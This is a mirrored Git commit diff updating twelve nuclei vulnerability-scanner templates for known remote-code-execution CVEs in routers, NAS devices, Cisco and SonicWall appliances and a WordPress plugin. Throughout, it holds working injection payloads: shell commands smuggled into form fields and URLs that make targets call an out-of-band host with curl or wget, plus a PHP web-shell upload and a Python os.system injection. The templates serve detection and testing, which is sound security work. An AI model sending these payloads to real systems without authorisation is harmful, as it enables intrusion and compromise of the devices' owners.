daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Merge pull request #6982 from projectdiscovery/additional-oast-matcher 

Additional oast matcher
patch-1
Prince Chaddha 2023-03-30 17:53:50 +05:30 committed by GitHub
parent 73afdead95 de7e8de1e7
commit d0681f741b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
12 changed files with 138 additions and 31 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

15
cves/2018/CVE-2018-10562.yaml
View File

@ -17,25 +17,34 @@ info:
cwe-id: CWE-78
tags: cve,cve2018,dasan,gpon,rce,oast,kev
variables:
useragent: '{{rand_base(6)}}'
requests:
- raw:
- |
POST /GponForm/diag_Form?images/ HTTP/1.1
Host: {{Hostname}}
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox wget http://{{interactsh-url}}`;busybox wget http://{{interactsh-url}}&ipv=0
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'`;busybox wget http://{{interactsh-url}}&ipv=0
- |
POST /GponForm/diag_Form?images/ HTTP/1.1
Host: {{Hostname}}
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`wget http://{{interactsh-url}}`;wget http://{{interactsh-url}}&ipv=0
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'`;wget http://{{interactsh-url}}&ipv=0
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: {{useragent}}"
# Enhanced by mp on 2022/05/12

17
cves/2018/CVE-2018-10818.yaml
View File

@ -13,6 +13,9 @@ info:
cve-id: CVE-2018-10818
tags: cve,cve2018,lg-nas,rce,oast,injection
variables:
useragent: '{{rand_base(6)}}'
requests:
- raw:
- |
@ -20,24 +23,26 @@ requests:
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
&uid=10; wget http://{{interactsh-url}}
&uid=10; curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'
- |
POST /en/php/usb_sync.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
&act=sync&task_number=1;wget http://{{interactsh-url}}
&act=sync&task_number=1;curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
- type: status
status:
- 200
- type: word
part: interactsh_request
words:
- "User-Agent: {{useragent}}"
# Enhanced by mp on 2022/04/26

10
cves/2020/CVE-2020-17456.yaml
View File

@ -16,6 +16,9 @@ info:
cwe-id: CWE-78
tags: seowon,cve2020,oast,packetstorm,rce,router,unauth,iot,cve
variables:
useragent: '{{rand_base(6)}}'
requests:
- raw:
- |
@ -31,7 +34,7 @@ requests:
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Command=Diagnostic&traceMode=ping&reportIpOnly=&pingIpAddr=;wget http://{{interactsh-url}}&pingPktSize=56&pingTimeout=30&pingCount=4&maxTTLCnt=30&queriesCnt=3&reportIpOnlyCheckbox=on&logarea=com.cgi&btnApply=Apply&T=1646950471018
Command=Diagnostic&traceMode=ping&reportIpOnly=&pingIpAddr=;curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'&pingPktSize=56&pingTimeout=30&pingCount=4&maxTTLCnt=30&queriesCnt=3&reportIpOnlyCheckbox=on&logarea=com.cgi&btnApply=Apply&T=1646950471018
cookie-reuse: true
matchers-condition: and
@ -41,6 +44,11 @@ requests:
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: {{useragent}}"
- type: word
part: header
words:

15
cves/2020/CVE-2020-25506.yaml
View File

@ -16,6 +16,9 @@ info:
cwe-id: CWE-78
tags: cve,cve2020,dlink,rce,oast,mirai,unauth,router,kev
variables:
useragent: '{{rand_base(6)}}'
requests:
- raw:
- |
@ -23,17 +26,23 @@ requests:
Host: {{Hostname}}
Accept: */*
C1=ON&cmd=cgi_ntp_time&f_ntp_server=`wget http://{{interactsh-url}}`
C1=ON&cmd=cgi_ntp_time&f_ntp_server=`curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'`
- |
POST /cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&f_ntp_server=`wget http://{{interactsh-url}}` HTTP/1.1
POST /cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&f_ntp_server=`curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'` HTTP/1.1
Host: {{Hostname}}
Accept: */*
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: {{useragent}}"
# Enhanced by mp on 2022/03/27

16
cves/2020/CVE-2020-28188.yaml
View File

@ -17,20 +17,30 @@ info:
cwe-id: CWE-78
tags: cve,cve2020,terramaster,rce,oast,mirai,unauth
variables:
useragent: '{{rand_base(6)}}'
requests:
- raw:
- |
GET /include/makecvs.php?Event=%60wget%20http%3A%2F%2F{{interactsh-url}}%60 HTTP/1.1
GET /include/makecvs.php?Event=%60curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'%60 HTTP/1.1
Host: {{Hostname}}
- |
GET /tos/index.php?explorer/pathList&path=%60wget%20http%3A%2F%2F{{interactsh-url}}%60 HTTP/1.1
GET /tos/index.php?explorer/pathList&path=%60curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'%60 HTTP/1.1
Host: {{Hostname}}
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: {{useragent}}"
# Enhanced by mp on 2022/03/27

13
cves/2020/CVE-2020-28871.yaml
View File

@ -16,6 +16,9 @@ info:
cwe-id: CWE-434
tags: cve2020,monitorr,rce,oast,unauth,edb,cve,fileupload,intrusive
variables:
useragent: '{{rand_base(6)}}'
requests:
- raw:
- |
@ -34,7 +37,7 @@ requests:
Content-Disposition: form-data; name="fileToUpload"; filename="{{randstr}}.php"
Content-Type: image/gif
GIF89a213213123<?php shell_exec("wget -c http://{{interactsh-url}}");
GIF89a213213123<?php shell_exec("curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'");
-----------------------------31046105003900160576454225745--
@ -42,10 +45,16 @@ requests:
GET /assets/data/usrimg/{{tolower("{{randstr}}.php")}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: {{useragent}}"
# Enhanced by mp on 2022/03/27

15
cves/2020/CVE-2020-28976.yaml
View File

@ -25,10 +25,25 @@ requests:
- "{{BaseURL}}/wp-content/plugins/canto/includes/lib/tree.php?subdomain={{interactsh-url}}"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: body
words:
- "null"
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 200
# Enhanced by md on 2023/02/01

15
cves/2021/CVE-2021-1497.yaml
View File

@ -20,6 +20,9 @@ info:
cwe-id: CWE-78
tags: cisco,rce,oast,kev,packetstorm,cve,cve2021
variables:
useragent: '{{rand_base(6)}}'
requests:
- raw:
- |
@ -28,7 +31,7 @@ requests:
Accept: */*
Content-Type: application/x-www-form-urlencoded
username=root&password={{url_encode('123\",\"$6$$\"));import os;os.system(\"wget http://{{interactsh-url}}\");print(crypt.crypt(\"')}}
username=root&password={{url_encode('123\",\"$6$$\"));import os;os.system(\"curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'\");print(crypt.crypt(\"')}}
- |
POST /auth HTTP/1.1
@ -36,16 +39,18 @@ requests:
Accept: */*
Content-Type: application/x-www-form-urlencoded
username=root&password={{url_encode('123\",\"$6$$\"));import os;os.system(\"wget http://{{interactsh-url}}\");print(crypt.crypt(\"')}}
username=root&password={{url_encode('123\",\"$6$$\"));import os;os.system(\"curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'\");print(crypt.crypt(\"')}}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: {{useragent}}"
# Enhanced by mp on 2022/04/29

13
cves/2021/CVE-2021-20038.yaml
View File

@ -16,10 +16,13 @@ info:
cwe-id: CWE-787
tags: cve,cve2021,overflow,rce,sonicwall,kev
variables:
useragent: '{{rand_base(6)}}'
requests:
- raw:
- |
GET /{{prefix_addr}}{{system_addr}};{wget,http://{{interactsh-url}}};{{prefix_addr}}{{system_addr}};{wget,http://{{interactsh-url}}};?{{repeat("A", 518)}} HTTP/1.1
GET /{{prefix_addr}}{{system_addr}};{curl,http://{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'};{{prefix_addr}}{{system_addr}};{curl,http://{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'};?{{repeat("A", 518)}} HTTP/1.1
Host: {{Hostname}}
attack: clusterbomb
@ -30,10 +33,16 @@ requests:
- "%08%b7%06%08" # for 10.2.1.2-24sv
- "%64%b8%06%08" # for 10.2.1.1-1[79]sv
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
part: interactsh_protocol
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: {{useragent}}"
# Enhanced by mp on 2022/04/29

16
cves/2021/CVE-2021-21881.yaml
View File

@ -15,6 +15,9 @@ info:
cwe-id: CWE-78
tags: cve,cve2021,lantronix,rce,oast,cisco
variables:
useragent: '{{rand_base(6)}}'
requests:
- raw:
- |
@ -23,7 +26,7 @@ requests:
Authorization: Basic dXNlcjp1c2Vy
Content-Type: application/x-www-form-urlencoded
ajax=WLANScanSSID&iehack=&Scan=Scan&netnumber=1&2=link&3=3&ssid="'; wget http://{{interactsh-url}} #
ajax=WLANScanSSID&iehack=&Scan=Scan&netnumber=1&2=link&3=3&ssid="'; curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}' #
- |
POST / HTTP/1.1
@ -31,12 +34,19 @@ requests:
Authorization: Basic YWRtaW46UEFTUw==
Content-Type: application/x-www-form-urlencoded
ajax=WLANScanSSID&iehack=&Scan=Scan&netnumber=1&2=link&3=3&ssid="'; wget http://{{interactsh-url}} #
ajax=WLANScanSSID&iehack=&Scan=Scan&netnumber=1&2=link&3=3&ssid="'; curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}' #
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: {{useragent}}"
# Enhanced by mp on 2022/05/05

13
cves/2021/CVE-2021-36356.yaml
View File

@ -17,6 +17,9 @@ info:
cwe-id: CWE-434
tags: viaware,cve,cve2021,kramer,edb,rce
variables:
useragent: '{{rand_base(6)}}'
requests:
- raw:
- |
@ -27,13 +30,19 @@ requests:
radioBtnVal=%3C%3Fphp%0A++++++++if%28isset%28%24_GET%5B%27cmd%27%5D%29%29%0A++++++++%7B%0A++++++++++++system%28%24_GET%5B%27cmd%27%5D%29%3B%0A++++++++%7D%3F%3E&associateFileName=%2Fvar%2Fwww%2Fhtml%2F{{randstr}}.php
- |
GET /{{randstr}}.php?cmd=sudo%20rpm%20--eval%20'%25%7Blua:os.execute(%22wget%20http://{{interactsh-url}}%22)%7D' HTTP/1.1
GET /{{randstr}}.php?cmd=sudo+rpm+--eval+'%25{lua%3aos.execute("curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'")}' HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: {{useragent}}"
# Enhanced by mp on 2022/05/18

11
cves/2021/CVE-2021-41653.yaml
View File

@ -17,6 +17,9 @@ info:
cwe-id: CWE-94
tags: cve,cve2021,tplink,rce,router
variables:
useragent: '{{rand_base(6)}}'
requests:
- raw:
- |
@ -30,7 +33,7 @@ requests:
dataBlockSize=64
timeout=1
numberOfRepetitions=4
host=$(echo 127.0.0.1; wget http://{{interactsh-url}})
host=$(echo 127.0.0.1; curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}')
X_TP_ConnName=ewan_ipoe_d
diagnosticsState=Requested
@ -43,10 +46,16 @@ requests:
[ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]0,0
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: {{useragent}}"
# Enhanced by mp on 2022/02/27